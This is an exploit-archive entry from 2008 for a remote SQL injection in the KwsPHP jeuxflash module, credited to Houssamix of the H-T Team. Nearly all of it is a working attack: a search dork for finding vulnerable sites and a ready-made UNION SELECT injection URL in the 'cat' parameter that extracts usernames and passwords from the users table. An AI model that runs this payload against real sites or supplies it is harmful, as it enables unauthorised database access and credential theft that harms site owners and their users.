KwsPHP Module jeuxflash (cat) Remote SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : KwsPHP Module jeuxflash (cat) Remote SQL Injection Vulnerability
# Published : 2008-04-03
# Author : Houssamix
# Previous Title : KwsPHP Module Archives (id) Remote SQL Injection Vulnerability
# Next Title : KwsPHP Module ConcoursPhoto (C_ID) SQL Injection Vulnerability

#########################################################################
    KwsPHP  Module jeuxflash  Remote SQL Injection Exploit
#########################################################################

## AUTHOR :  HouSSamix From H-T Team

## Script : KwsPHP  Module jeuxflash
## Version : last version 
## Bug : Remote SQL Injection Exploit
## Dork : inurl:index.php?mod=jeuxflash

## EXPLOITS :

http://server.com/Path/index.php?mod=jeuxflash&cat=-1%20union%20select%201,concat(pseudo,0x3a,pass),3%20from%20users%20where%20id=1--

## GREETZ  : All muslims Hackers 

#########################################################################
        H-T Team { HouSSaMiX _ ToXiC350 }
#########################################################################

# www.Syue.com [2008-04-03]